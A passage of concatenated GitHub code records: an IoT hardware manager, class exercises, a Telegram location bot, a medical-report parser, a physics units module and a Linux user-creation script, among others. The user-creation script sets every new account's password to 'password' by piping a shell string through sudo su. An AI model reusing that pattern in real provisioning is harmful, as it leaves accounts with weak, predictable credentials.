self._stream_queue.get(block=blocking)\n except Empty:\n pass\n\n def wait_reports(self, num_reports, timeout=2.0):\n \"\"\"Wait for a fixed number of reports to be received\n\n Args:\n num_reports (int): The number of reports to wait for\n timeout (float): The maximum number of seconds to wait without\n receiving another report.\n \"\"\"\n\n if self._stream_queue is None:\n raise ExternalError(\"You have to enable streaming before you can wait for reports\")\n\n reports = []\n\n for i in range(0, num_reports):\n try:\n report = self._stream_queue.get(timeout=timeout)\n reports.append(report)\n except Empty:\n raise TimeoutExpiredError(\"Timeout waiting for a report\", expected_number=num_reports, received_number=i, received_reports=reports)\n\n return reports\n\n @annotated\n def reset(self):\n \"\"\"\n Attempt to reset the underlying stream back to a known state\n \"\"\"\n\n self.stream.reset()\n\n def __enter__(self):\n return self\n\n def __exit__(self, exc_type, exc_value, traceback):\n self.stream.close()\n return False\n\n @finalizer\n def close(self):\n self.stream.close()\n\n @classmethod\n def _load_module_classes(cls, path, base_class):\n \"\"\"Load a python module and return all classes that inherit from a given base.\"\"\"\n\n folder, basename = os.path.split(path)\n basename, ext = os.path.splitext(basename)\n if ext != '.py' and ext != '.pyc' and ext != \"\":\n raise ArgumentError(\"Attempted to load module is not a python package or module (.py or .pyc)\", path=path)\n\n try:\n fileobj, pathname, description = imp.find_module(basename, [folder])\n\n #Don't load modules twice\n if basename in sys.modules:\n mod = sys.modules[basename]\n else:\n mod = imp.load_module(basename, fileobj, pathname, description)\n except ImportError as exc:\n cls.logger.exception(\"Error importing module: %s looking for class %s\", path, base_class)\n raise ArgumentError(\"Could not import module in order to load external proxy modules\", module_path=path, parent_directory=folder, module_name=basename, error=str(exc))\n\n # Find all classes in this module that inherit from the given base class\n return [x for x in itervalues(mod.__dict__) if inspect.isclass(x) and issubclass(x, base_class) and x != base_class]\n\n @return_type(\"list(basic_dict)\")\n @param(\"wait\", \"float\", desc=\"Time to wait for devices to show up before returning\")\n @param(\"sort\", \"string\", desc=\"Sort scan results by a key named key\")\n @param(\"limit\", \"integer\", desc=\"Limit results to the first n devices\")\n @param(\"reverse\", \"bool\", desc=\"Reverse the sort order\")\n def scan(self, wait=None, sort=None, reverse=False, limit=None):\n \"\"\"Scan for available devices and print a dictionary of information about them.\n\n If wait is specified as a floating point number in seconds, then the default wait times\n configured inside of the stream or device adapter used to find IOTile devices is overriden\n with the value specified.\n\n Args:\n wait (float): An optional override time to wait for results to accumulate before returning\n \"\"\"\n\n devices = self.stream.scan(wait=wait)\n\n if sort is not None:\n devices.sort(key=lambda x: x[sort], reverse=reverse)\n\n if limit is not None:\n devices = devices[:limit]\n\n #FIXME: Use dictionary format in bled112stream to document information returned about devices\n return devices\n\n def get_proxy(self, short_name):\n \"\"\"\n Find a proxy type given its short name.\n\n If no proxy type is found, return None.\n \"\"\"\n\n if short_name in HardwareManager.DevelopmentProxies:\n return HardwareManager.DevelopmentProxies[short_name][0]\n\n if short_name not in self._name_map:\n return None\n\n return self._name_map[short_name][0]\n\n def _create_proxy(self, proxy, address):\n \"\"\"\n Create a python proxy object to talk to an IOTile module with the given type\n at the given address.\n \"\"\"\n\n if proxy not in self._proxies:\n raise UnknownModuleTypeError(\"unknown proxy module specified\", module_type=proxy, known_types=self._proxies.keys())\n\n proxy_class = self._proxies[proxy]\n return proxy_class(self.stream, address)\n\n def _create_stream(self):\n conn_string = None\n port = self.port\n if port is not None and \",\" in port:\n port, conn_string = port.split(',')\n\n if port is not None:\n port = port.strip()\n if conn_string is not None:\n conn_string = conn_string.strip()\n\n #First check if this is the special none stream that creates a transport channel nowhere\n if self.transport == 'none':\n return CMDStream(port, conn_string, record=self.record)\n\n #Next attempt to find a CMDStream that is registered for this transport type\n for stream_entry in pkg_resources.iter_entry_points('iotile.cmdstream'):\n if stream_entry.name != self.transport:\n continue\n\n stream_factory = stream_entry.load()\n return stream_factory(port, conn_string, record=self.record)\n\n #Otherwise attempt to find a DeviceAdapter that we can turn into a CMDStream\n for adapter_entry in pkg_resources.iter_entry_points('iotile.device_adapter'):\n if adapter_entry.name != self.transport:\n continue\n\n adapter_factory = adapter_entry.load()\n return AdapterCMDStream(adapter_factory(port), port, conn_string, record=self.record)\n\n raise HardwareError(\"Could not find transport object registered to handle passed transport type\", transport=self.transport)\n","repo_name":"palagap/coretools","sub_path":"iotilecore/iotile/core/hw/hwmanager.py","file_name":"hwmanager.py","file_ext":"py","file_size_in_byte":32784,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"27"} +{"seq_id":"37574439790","text":"\"\"\"\nFaça um programa que leia um valor N onde esse valor será os N primeiros números da sequência de\nFibonacci.\nLembrando que a SEQUÊNCIA DE FIBONACCI é uma sequência de números que obedecem a um\npadrão em que cada elemento subsequente é a soma dos dois anteriores.\n\"\"\"\n\nn = int(input('Quantos termos voce quer mostrar: '))\nt1 = 0\nt2 = 1\n\nprint(t1)\nprint(t2)\n\ncont = 3\nwhile cont <= n:\n t3 = t1 + t2\n print(t3)\n t1 = t2\n t2 = t3\n cont += 1\n","repo_name":"VyniciusMartorano/IFRN-PPC","sub_path":"Lista03/Questao12.py","file_name":"Questao12.py","file_ext":"py","file_size_in_byte":465,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"16667915810","text":"import math\nimport subprocess\nimport time\nimport csv\nfrom itertools import permutations\n\ndef get_permutation(l1, l2):\n print(l1, l2)\n print(list(permutations(l1,len(l2))))\n return [list(zip(x,l2)) for x in permutations(l1,len(l2))]\n\n\ndef run_experiment(cmd_str, tries=math.inf):\n print(\"\\nRunning experiment:\\n{}\".format(cmd_str))\n i = 0\n cmd = cmd_str.split(\" \")\n while True:\n success = True\n i += 1\n print(\"Try #\", i)\n try:\n subprocess.run(cmd, check=True)\n except subprocess.CalledProcessError as err:\n print(\"Subprocess failed because:\\n{}\".format(err))\n success = False\n except:\n print(\"Failed due to another reason.\")\n break\n\n if not(i <= tries) or success:\n if success:\n print(\"Ran successfully\")\n break\n\nif __name__ == '__main__':\n pin = 'pin -t {} {} {} -- {} {}'\n\n mmgrs = {\n 'simple': '-mm 0',\n 'linux': '-mm 1'\n }\n\n pin_bins = {\n 'rndm': '../sim/obj-intel64/mem_trace.so',\n 'seq': '../sim/obj-intel64/mem_trace.so'\n }\n\n gups_bins = {\n 'rndm': [\n '../apps/gups/obj/gups_rndm_write.o',\n # '../apps/gups/obj/gups_rndm_read.o',\n '../apps/gups/obj/gups_hotset.o'\n ],\n 'seq': [\n '../apps/gups/obj/gups_seq_write.o',\n # '../apps/gups/obj/gups_seq_read.o',\n ]\n }\n\n runs = 1\n for i in range(runs):\n print('\\n\\n\\n \\t\\t ~ Run {} ~ '.format(i+1))\n for (pin_type, gups_type) in zip(pin_bins, gups_bins):\n pin_bin = pin_bins[pin_type]\n for gups_bin in gups_bins[gups_type]:\n experiment = gups_bin.split('gups_')[-1].split('.')[0]\n for (mmgr, flag) in mmgrs.items():\n name = '{}_{}'.format(experiment, mmgr)\n out = '-o ./results/mmgr_new/{}/gups_{}_'.format(name, name)\n if experiment == 'hotset':\n cmd = pin.format(pin_bin, flag, out, gups_bin, '1 100000 15 8 35 30 90')\n else:\n cmd = pin.format(pin_bin, flag, out, gups_bin, '1 100000 15 8 0 0 0')\n # print(cmd)\n run_experiment(cmd)\n","repo_name":"pskevin/avires","sub_path":"_bench/run_mmgr.py","file_name":"run_mmgr.py","file_ext":"py","file_size_in_byte":2336,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"4509140115","text":"\"\"\"https://en.wikipedia.org/wiki/Natural_units\"\"\"\nimport math\nimport scipy.constants as const\n\nfrom natural_units.core import ot, to\nfrom .prefix import kilo\nfrom . import base as bu\nfrom . import si\npi = math.pi\n\nclass stoney_unit(bu.base_unit):\n def __init__(self, *args,**kwargs):\n super().__init__(*args,**kwargs)\n\n def from_si(self):\n siv = stoney_unit(1,{})*self\n map = {'coulomb':coulomb/si.coulomb,'metre':meter/si.meter,'kilogram':kilogram/si.kilogram,'second':second/si.second}\n for u in self.units:\n siv *= ot(map[u]**self.units[u])\n return siv\n\n def to_si(self):\n siv = si.si_unit(1,{})*self\n map = {'charge':coulomb/si.coulomb,'length':meter/si.meter,'mass':kilogram/si.kilogram,'time':second/si.second}\n for u in self.units:\n siv *= to(map[u]**self.units[u])\n return siv\n\nspeed_of_light = c = stoney_unit(1,{'length':1,'time':-1})\ngravitational_constant = G = stoney_unit(1,{'mass':-1,'length':3,'time':-2})\ncoulomb_constant = k_e = stoney_unit(1,{'mass':-1,'length':-3,'time':2,'charge':2})\nelectron_charge = e = stoney_unit(1,{'charge':1})\n\n# measured\nproton_to_electron_mass_ratio = const.proton_mass/const.electron_mass\nfine_structure_constant = alpha = const.fine_structure\ngravitational_coupling_constant = alpha_G = const.G*const.m_e**2/const.hbar/const.c\n\n# derived\nvacuum_permittivity = epsilon_0 = 1/(4*pi*k_e)\nreduced_planck_constant= h_bar = (e**2/(4*pi*epsilon_0*c*alpha))\nelectron_mass = m_e = (h_bar*c*gravitational_coupling_constant/G)**(1/2)\nproton_mass = m_p = proton_to_electron_mass_ratio*m_e\n\n# undefined\nboltzmann_constant = k_B = None\n\n# si conversion\nmeter = metre = 1/(const.G *const.e**2/(4*pi*const.epsilon_0*const.c**4))**(1/2) * stoney_unit(1,{'length':1})\ngram = 1/kilo * 1/(const.e**2/(4*pi*const.epsilon_0*const.G))**(1/2) * stoney_unit(1,{'mass':1})\nkilogram = kilo*gram\nsecond = 1/(const.G*const.e**2/(4*pi*const.epsilon_0*const.c**6))**(1/2) * stoney_unit(1,{'time':1})\ncoulomb = 1/(const.e) * stoney_unit(1,{'charge':1})\nampere = coulomb/second","repo_name":"APN-Pucky/natural_units","sub_path":"natural_units/stoney.py","file_name":"stoney.py","file_ext":"py","file_size_in_byte":2089,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"29431729089","text":"\nimport pytest\nfrom voting.actions import vote\n\n\n@pytest.fixture\ndef state():\n return {\n 'pair': ('Trainspotting', '28 Days Later'),\n }\n\n\n@pytest.fixture\ndef state_with_tally():\n return {\n 'pair': ('Trainspotting', '28 Days Later'),\n 'tally': {\n 'Trainspotting': 3,\n '28 Days Later': 2\n },\n }\n\n\ndef test_vote(state):\n next_state = vote(state, 'Trainspotting')\n assert next_state['pair'] == ('Trainspotting', '28 Days Later')\n\n tally = next_state['tally']\n assert list(tally.keys()) == ['Trainspotting']\n assert tally['Trainspotting'] == 1\n\n\ndef test_vote_with_existing_tally(state_with_tally):\n next_state = vote(state_with_tally, 'Trainspotting')\n tally = next_state['tally']\n assert tally['Trainspotting'] == 4\n assert tally['28 Days Later'] == 2\n\n\ndef test_vote_is_immutable(state):\n next_state = vote(state, 'Trainspotting')\n assert id(next_state) != id(state)\n assert next_state != state\n","repo_name":"Tiago-Lira/voting-app","sub_path":"backend/tests/test_actions/test_vote.py","file_name":"test_vote.py","file_ext":"py","file_size_in_byte":991,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"27"} +{"seq_id":"18584185724","text":"#!/usr/bin/env python3\n\n\"\"\"\nNSSA221 System Administration I: Script_02\nName: Miftahul Huq\nDate: 09/27/2021\n\"\"\"\n\nimport os\nimport shlex\nimport subprocess\nimport time\nimport csv\n\nheader_index = []\nemp_identical_name = dict()\n\ndef read_csv_file(filename):\n \"\"\"\n A file reader\n filename: the absolute file path or relative filepath\n returns: a 2d list of the content in the file\n \"\"\"\n firstline = []\n contentDetail = []\n \n try:\n with open(filename) as file:\n isFirstLine = True\n csv_reader = csv.reader(file)\n for line in csv_reader:\n if isFirstLine == True:\n firstline = line\n isFirstLine = False\n else:\n for i in range(len(line)):\n aString = \"\".join(char for char in line[i] if char.isalnum()) # goes throug the each work in a line and get rid of special character\n line[i] = aString\n\n contentDetail.append(line)\n\n for content in contentDetail:\n if len(content) == len(firstline):\n if content[-1] == '':\n content.pop(-1)\n firstline.pop(-1)\n \n except:\n print(\"Incorrect file path\")\n \n return firstline, contentDetail\n\ndef add_user(empID, empName, department, group):\n # Creates the directory that the employee belongs to\n cmd = shlex.split(\"sudo mkdir /home/\" + department)\n p1 = subprocess.Popen(cmd, shell=False, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n out, err = p1.communicate()\n\n # Creates the group that the employee belongs to\n cmd = shlex.split(\"sudo groupadd \" + group)\n p1 = subprocess.Popen(cmd, shell=False, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n out, err = p1.communicate()\n\n #creates the user\n while True:\n if group == \"office\":\n cmd = shlex.split(\"sudo useradd \" + empName + \" -g \" + group + \" -c \" + empID + \" -d /home/\" + department + \"/\" + empName + \" -s /bin/csh\")\n else:\n cmd = shlex.split(\"sudo useradd \" + empName + \" -g \" + group + \" -c \" + empID + \" -d /home/\" + department + \"/\" + empName + \" -s /bin/bash\")\n\n p1 = subprocess.Popen(cmd, shell=False, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n out, err = p1.communicate()\n outlist = err.decode().split()\n try:\n if outlist[-1] == \"exists\":\n try:\n s = list(empName)\n s[-1] = str(int(s[-1]) + 1)\n aString = \"\".join(s)\n empName = aString\n continue\n except:\n empName += str(1)\n continue\n else: \n break\n except:\n break\n\n # Sets password\n os.system('echo \"echo password | passwd --stdin ' + empName + '\" | sudo su >/dev/null 2>&1')\n\n # expres the password\n cmd = shlex.split(\"sudo passwd -e \" + empName)\n p1 = subprocess.Popen(cmd, shell=False, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n out, err = p1.communicate()\n\n return empName\n\ndef add_valid_user(fileContent):\n global header_index\n\n for content in fileContent:\n if len(content) > len(header_index):\n print(\"Cannot process employee ID \", content[header_index.index(\"EmployeeID\")], \" Insufficient data.\\n\")\n elif content[header_index.index(\"Group\")] == \"area51\":\n print(\"Cannot process employee ID \", content[header_index.index(\"EmployeeID\")], \" Not a valid group.\\n\")\n elif content[header_index.index(\"Department\")] == '':\n print(\"Cannot process employee ID \", content[header_index.index(\"EmployeeID\")], \" Does not belong to any department.\\n\")\n elif content[header_index.index(\"EmployeeID\")] == '':\n print(\"Cannot process the employee Does not have an employee ID.\\n\")\n else:\n empName = content[header_index.index(\"FirstName\")][0] + content[header_index.index(\"LastName\")]\n empID = content[header_index.index(\"EmployeeID\")]\n department = content[header_index.index(\"Department\")]\n group = content[header_index.index(\"Group\")]\n empName = add_user(empID, empName.lower(), department, group)\n print(\"Processing employee ID \" + empID + \" \" + empName + \" added to system.\\n\")\n\ndef main():\n global header_index\n os.system(\"clear\")\n\n print(\"\\nAdding new users to the system.\")\n print(\"Please Note: The default password for new users is password.\")\n print(\"For testing purposes. Change the password to 1$4pizz@.\\n\")\n\n filename = \"/home/student/scripts/script02/linux_users.csv\"\n\n header_index, content = read_csv_file(filename) \n\n add_valid_user(content) # checks the users and validate if they can be added or not and adds it.\n\nif __name__ == '__main__':\n main()","repo_name":"Miftahul7838/Projects_and_Scripts","sub_path":"System_Administration/add_user.py","file_name":"add_user.py","file_ext":"py","file_size_in_byte":4965,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"14620016034","text":"import os\nfrom typing import Tuple\n\nimport requests\n\nimport telebot\nfrom db import Location, get_user\n\nCoordinates = Tuple[float, float]\nBOT_TOKEN = os.getenv(\"BOT_TOKEN\") or open(\"../BOT_TOKEN.txt\").read()\nMAP_TOKEN = os.getenv(\"MAP_TOKEN\") or open(\"../MAP_TOKEN.txt\").read()\nSTART, TITLE, LOCATION, ADDITIONAL, IMAGE, DESCRIPTION, SAVE = range(7)\nTEMP = dict()\nCONFIRMATION = \"y\", \"yes\", \"yea\", \"ok\", \"д\", \"да\", \"ок\"\nCANCELLATION = \"n\", \"no\", \"not\", \"н\", \"не\", \"нет\"\nbot = telebot.TeleBot(BOT_TOKEN)\n\n\n@bot.message_handler(commands=[\"start\", \"help\"])\ndef handle_start(message):\n get_user(message)\n bot.send_message(\n message.chat.id,\n \"Welcome, I can save locations for you\\nChoose one of my commands or send me your locations\",\n )\n\n\n@bot.message_handler(\n commands=[\"add\"], func=lambda message: get_user(message).stage == START\n)\ndef handle_add(message):\n TEMP[message.chat.id] = Location()\n bot.send_message(message.chat.id, \"Let's save your location\\nSend me title\")\n user = get_user(message)\n user.change_stage(TITLE)\n\n\n@bot.message_handler(func=lambda message: get_user(message).stage == TITLE)\ndef handle_title(message):\n TEMP[message.chat.id].title = message.text.title()\n bot.send_message(message.chat.id, \"Send location\")\n user = get_user(message)\n user.change_stage(LOCATION)\n\n\n@bot.message_handler(\n func=lambda message: get_user(message).stage == LOCATION, content_types=[\"location\"]\n)\ndef handle_location(message):\n TEMP[message.chat.id].latitude = message.location.latitude\n TEMP[message.chat.id].longitude = message.location.longitude\n bot.send_message(message.chat.id, \"Do you want to add additional information?\")\n user = get_user(message)\n user.change_stage(ADDITIONAL)\n\n\n@bot.message_handler(func=lambda message: get_user(message).stage == ADDITIONAL)\ndef handle_additional(message):\n user = get_user(message)\n lower_message = message.text.lower()\n if any(word in lower_message for word in CONFIRMATION):\n user.change_stage(IMAGE)\n bot.send_message(message.chat.id, \"Send an image of location\")\n elif any(word in lower_message for word in CANCELLATION):\n user.change_stage(SAVE)\n send_temp_location(message)\n bot.send_message(message.chat.id, \"Do you want to save the location?\")\n\n\n@bot.message_handler(\n func=lambda message: get_user(message).stage == IMAGE, content_types=[\"photo\"]\n)\ndef handle_image(message):\n user = get_user(message)\n TEMP[message.chat.id].image = message.photo[2].file_id\n bot.send_message(message.chat.id, \"Send location description\")\n user.change_stage(DESCRIPTION)\n\n\n@bot.message_handler(func=lambda message: get_user(message).stage == DESCRIPTION)\ndef handle_description(message):\n user = get_user(message)\n TEMP[message.chat.id].description = message.text\n user.change_stage(SAVE)\n\n send_temp_location(message)\n bot.send_message(message.chat.id, \"Do you want to save the location?\")\n\n\n@bot.message_handler(func=lambda message: get_user(message).stage == SAVE)\ndef handle_save(message):\n chat_id = message.chat.id\n user = get_user(message)\n lower_message = message.text.lower()\n if any(word in lower_message for word in CONFIRMATION):\n bot.send_message(chat_id, \"The location was saved\")\n user.add_location(TEMP[chat_id])\n elif any(word in lower_message for word in CANCELLATION):\n bot.send_message(chat_id, \"The location wasn't saved\")\n TEMP[chat_id] = None\n user.change_stage(START)\n\n\n@bot.message_handler(commands=[\"list\"])\ndef handle_list(message):\n user = get_user(message)\n locations = user.locations[:10]\n if locations:\n for location in locations:\n send_location(message.chat.id, location)\n else:\n bot.send_message(message.chat.id, \"You don't have locations\")\n\n\n@bot.message_handler(commands=[\"reset\"])\ndef handle_reset(message):\n user = get_user(message)\n user.delete_all_locations()\n bot.send_message(message.chat.id, \"Your locations were deleted\")\n\n\n@bot.message_handler(content_types=[\"text\"])\ndef handle_not_realized_message(message):\n bot.send_message(\n message.chat.id, \"I don't understand you, choose one of the my commands\"\n )\n\n\n@bot.message_handler(content_types=[\"location\"])\ndef handle_find_locations_near_me(message):\n current_point = (message.location.latitude, message.location.longitude)\n user = get_user(message)\n locations_500m_from_user = [\n loc\n for loc in user.locations\n if is_locations_closer_500m(current_point, (loc.latitude, loc.longitude))\n ]\n if locations_500m_from_user:\n bot.send_message(message.chat.id, \"The locations were found close to you:\")\n for loc in locations_500m_from_user:\n send_location(message.chat.id, loc)\n else:\n bot.send_message(message.chat.id, \"The locations weren't found around you\")\n\n\ndef send_location(chat_id, location: Location):\n bot.send_message(chat_id, f\"Title: {location.title}\")\n bot.send_location(chat_id, location.latitude, location.longitude)\n if location.image and location.description:\n bot.send_photo(chat_id, location.image, caption=location.description)\n\n\ndef send_temp_location(message):\n chat_id = message.chat.id\n title = TEMP[message.chat.id].title\n latitude = TEMP[chat_id].latitude\n longitude = TEMP[chat_id].longitude\n image = TEMP[chat_id].image\n description = TEMP[chat_id].description\n\n bot.send_message(chat_id, f\"Title: {title}\")\n bot.send_location(chat_id, latitude, longitude)\n if image and description:\n bot.send_photo(chat_id, image, caption=description)\n\n\ndef is_locations_closer_500m(start_point: Coordinates, end_point: Coordinates) -> bool:\n meters_500 = 500\n url_api = \"https://maps.googleapis.com/maps/api/distancematrix/json\"\n\n start_latitude, start_longitude = start_point\n end_latitude, end_longitude = end_point\n origins = f\"{start_latitude},{start_longitude}\"\n destinations = f\"{end_latitude},{end_longitude}\"\n\n params = {\n \"key\": MAP_TOKEN,\n \"origins\": origins,\n \"destinations\": destinations,\n \"mode\": \"walking\",\n }\n answer = requests.get(url_api, params=params).json()\n distance = answer[\"rows\"][0][\"elements\"][0][\"distance\"][\"value\"]\n return True if distance <= meters_500 else False\n\n\nif __name__ == \"__main__\":\n bot.polling(none_stop=True)\n","repo_name":"rabbit72/save_my_location_bot","sub_path":"location_bot.py","file_name":"location_bot.py","file_ext":"py","file_size_in_byte":6439,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"6147707783","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[1]:\n\n\n#HistopathLogger script will (1) read doc or docx files, (2) extract SP No., name, age, sex, date submitted, diagnosis, consultant, and residents, and (3) output to a csv file\n\n#Initialize\n#!/home/asus/anaconda3/bin/python\n\n#Version 0.1\n#Last modified 09-19-21\n\n#Import OS module to handle multiple Word files\nimport os\n\n#Import RegEx module to specify search parameters\nimport re\n\n#Import textract module to extract data from doc and docx Word documents by turning them into plain text\n#If not installed, go to this URL https://textract.readthedocs.io/en/stable/installation.html\n#Or use pip install textract\nimport textract\n\n#Import json module to export extracted data to Excel readable file\nimport csv\n\n\n# In[2]:\n\n\n#export dependencies\n#%pip freeze > requirements.txt\n\n\n# In[3]:\n\n\n#Create new csv file named output.csv\noutputFile = open('output.csv', 'w', newline='')\n\n#Write headers\noutputDictWriter = csv.DictWriter(outputFile, ['Acc. No.', 'Date requested', 'Date submitted', 'Date processed', 'Date reported', 'Name', 'Age', 'Sex', 'Diagnosis', 'Consultant', 'Resident'])\noutputDictWriter.writeheader()\n\n\n# In[4]:\n\n\n#Use os module to list doc and docx files in folder\nfor file in os.listdir(os.getcwd()):\n if file.endswith(\".doc\") or file.endswith(\".docx\"):\n \n #For each doc and docx file listed, print file name\n print(file)\n \n #Use textract to read/convert doc or docx into UTF-8 plain text\n text = textract.process(file)\n text = text.decode(\"utf-8\")\n \n #Find accession number (SP NO.:) for Surgical, Cytology, Pap Smear, IHC, and Re-Reading by matching XXX-0000-00 pattern\n #Accession number starts with S for Surgical, C for Cyto, PS for Pap Smear, IHC for Immunohistochemistry Stain, RR for Re-Reading\n #\\d*\\d allows for flexibility if written as one, two, three or four digit code, eg. S-1-21. S-11-21, S-011-21, S-0011-21\n SPNoRegex = re.compile(r'(S|C|PS|IHC|RR)-\\d*\\d-\\d\\d')\n SPNo = SPNoRegex.search(text)\n if SPNo is None:\n outputSPNo = \"NA\"\n else:\n outputSPNo = SPNo.group()\n print(outputSPNo)\n \n #Find patient name after phrase \"Name:\" and stop before \"Age:\"\n #Look ahead (?<=) of Name: and copy everything (.*) until look behind (?=) Age:\n #re.I to ignore case\n nameRegex = re.compile(r'(?<=Name:)(.*)(?=Age:)', re.I)\n name = nameRegex.search(text)\n if name is None:\n outputName = \"NA\"\n else:\n outputName = name.group()\n print(outputName)\n \n #Find age after phrase \"Age:\" and matching 000 pattern\n #\\d*\\d allows for flexibility in age from single to triple digits, eg. 1, 10, 100\n #re.I to ignore case\n ageRegex = re.compile(r'Age: (\\d*\\d)', re.I)\n age = ageRegex.search(text)\n if age is None:\n outputAge = \"NA\"\n else:\n outputAge = age.group(1)\n print(outputAge)\n \n #Find sex after phrase \"Sex:\" and matching M or F\n #re.I to ignore case\n sexRegex = re.compile(r'Sex: (M|F)',re.I)\n sex = sexRegex.search(text)\n if sex is None:\n outputSex = \"NA\"\n else:\n outputSex = sex.group(1)\n print(outputSex)\n\n #Find date submitted after phrase \"Date processed:\" and matching 00-00-00 pattern\n #\\d?\\d allows flexibility for 0 or 00 date, eg. September written as 9 or 09\n #\\d*\\d allows flexibility for 00 or 0000 year, eg. 2020 written as 21 or 2021\n #re.I to ignore case\n dateProcessedRegex = re.compile(r'Date processed: (\\d?\\d-\\d?\\d-\\d*\\d)', re.I)\n dateProcessed = dateProcessedRegex.search(text)\n if dateProcessed is None:\n outputDateProcessed = \"NA\"\n else:\n outputDateProcessed = dateProcessed.group(1)\n print(outputDateProcessed)\n\n #Find date submitted after phrase \"Date requested:\" and matching 00-00-00 pattern\n #\\d?\\d allows flexibility for 0 or 00 date, eg. September written as 9 or 09\n #\\d*\\d allows flexibility for 00 or 0000 year, eg. 2020 written as 21 or 2021\n #re.I to ignore case\n dateRequestedRegex = re.compile(r'Date requested: (\\d?\\d-\\d?\\d-\\d*\\d)', re.I)\n dateRequested = dateRequestedRegex.search(text)\n if dateRequested is None:\n outputDateRequested = \"NA\"\n else:\n outputDateRequested = dateRequested.group(1)\n print(outputDateRequested)\n \n #Find date submitted after phrase \"Date submitted:\" and matching 00-00-00 pattern\n #\\d?\\d allows flexibility for 0 or 00 date, eg. September written as 9 or 09\n #\\d*\\d allows flexibility for 00 or 0000 year, eg. 2020 written as 21 or 2021\n #re.I to ignore case\n dateSubmittedRegex = re.compile(r'Date submitted: (\\d?\\d-\\d?\\d-\\d*\\d)', re.I)\n dateSubmitted = dateSubmittedRegex.search(text)\n if dateSubmitted is None:\n outputDateSubmitted = \"NA\"\n else:\n outputDateSubmitted = dateSubmitted.group(1)\n print(outputDateSubmitted)\n \n #Find date reported after phrase \"Date reported:\" and \"Final report:\" and matching 00-00-00 pattern\n #\\d?\\d allows flexibility for 0 or 00 date, eg. September written as 9 or 09\n #\\d*\\d allows flexibility for 00 or 0000 year, eg. 2020 written as 21 or 2021\n #re.I to ignore case\n dateReportedRegex = re.compile(r'(Date reported:|Date final.*:) (\\d?\\d-\\d?\\d-\\d*\\d)', re.I)\n dateReported = dateReportedRegex.search(text)\n if dateReported is None:\n outputDateReported = \"NA\"\n else:\n outputDateReported = dateReported.group(2)\n print(outputDateReported)\n \n #Extract diagnosis\n #Check first if ER PR HER2 receptor report\n #If not receptor report, then generic diagnosis extraction\n receptorRegex = re.compile(r'RECEPTOR STATUS REPORT', re.I)\n receptor = receptorRegex.search(text)\n\n if receptor is None:\n \n #Find diagnosis after phrase \"INTERPRETATION\" and stop before first consultant\n #Look ahead (?<=) of INTERPRETATION and copy everything (.*) until look behind (?=) list of known consultants first names and most common abbreviations\n #re.DOTALL to read multiple lines\n #cleanText remove all \\n by replacing them with blank space\n \n #Subtitute first name of consultants below\n\n cleanText = text.replace(\"\\n\", \" \")\n dxRegex = re.compile(r'(?<=INTERPRETATION)(.*)(?=Audrey|Katherine|Marilyn|Errol|John|Riya|Judy)',re.DOTALL)\n dx = dxRegex.search(cleanText)\n if dx is None:\n outputDx = \"NA\"\n else:\n outputDx = dx.group()\n print(outputDx)\n \n else:\n cleanText = text.replace(\"\\n\", \" \")\n dxRegex = re.compile(r'(?<=RECEPTOR STATUS REPORT:)(.*)(?=ASCO)',re.DOTALL)\n dx = dxRegex.search(cleanText)\n if dx is None:\n outputDx = \"NA\"\n else:\n outputDx = dx.group()\n print(outputDx)\n \n #Find first consultant by matching known list of names\n #Last names allows for maximum flexibility eg. Errol Leslie Thomson Flynn, ELT Flynn, and Errol Flynn, all will be recognized as Flynn\n #For those with similar last names, add wildcard after distinguishing last letter\n #Ex. If Katherine Hepburn is a consultant and Audrey Hepburn is a resident:\n # A*Hepburn and K*Hepburn so the script will distinguish Aubrey Hepburn from Katherine Hepburn\n # This also works if both Katherine and Audrey Hepburn are both consultants or both residents.\n #re.I to ignore case\n \n #Subtitute last name of consultants below\n consultantRegex = re.compile(r'(K*Hepburn|Monroe|Flynn|Wayne|Hayworth|Garland|MD)',re.I)\n consultant = consultantRegex.search(text)\n if consultant is None:\n outputConsultant = \"NA\"\n else:\n outputConsultant = consultant.group()\n print(outputConsultant)\n \n #Find first resident by matching known list of names\n #Last names allows for maximum flexibility\n #findall to list all residents involve\n #Follow guidelines above\n #re.I to ignore case\n residentRegex = re.compile(r'(A*HepburnTracy|Bergman|Crawford|Fontaine|Dunne|Robinson)',re.I)\n resident = residentRegex.search(text)\n if resident is None:\n outputResident = \"NA\"\n else:\n outputResident = resident.group()\n print(outputResident)\n\n #Compile extracted elements into list named dataDump\n dataDump = [outputSPNo, outputDateRequested, outputDateSubmitted, outputDateProcessed, outputDateReported, outputName, outputAge, outputSex, outputDx, outputConsultant, outputResident]\n print(dataDump)\n \n #Append dataDump to the end of the csv file\n outputWriter = csv.writer(outputFile)\n outputWriter.writerow(dataDump)\n\n\n# In[5]:\n\n\n#Close output csv file\noutputFile.close()\n\n","repo_name":"arneldy/histopath_logger","sub_path":"HistopathLogger.py","file_name":"HistopathLogger.py","file_ext":"py","file_size_in_byte":9294,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"27"} +{"seq_id":"70547141831","text":"import sqlite3 as sql\nimport os\nimport sys\nthis_dir = os.path.dirname(os.path.realpath(__file__))\nbase_dir = os.path.join(this_dir, '..', '..')\nsys.path.append(base_dir)\nfrom spar_python.perf_monitoring.time_utils import epoch_to_sql\n\nNETWORK_TABLE = \"Network\"\nNETWORK_SCHEMA = \"Network(id INTEGER PRIMARY KEY AUTOINCREMENT, \" + \\\n \"time TEXT, \" + \\\n \"direction TEXT, \" + \\\n \"payloadlength INTEGER, \" + \\\n \"protocol TEXT)\"\nCPU_TABLE = \"Cpu\"\nCPU_SCHEMA = \"Cpu(id INTEGER PRIMARY KEY AUTOINCREMENT, \" + \\\n \"host 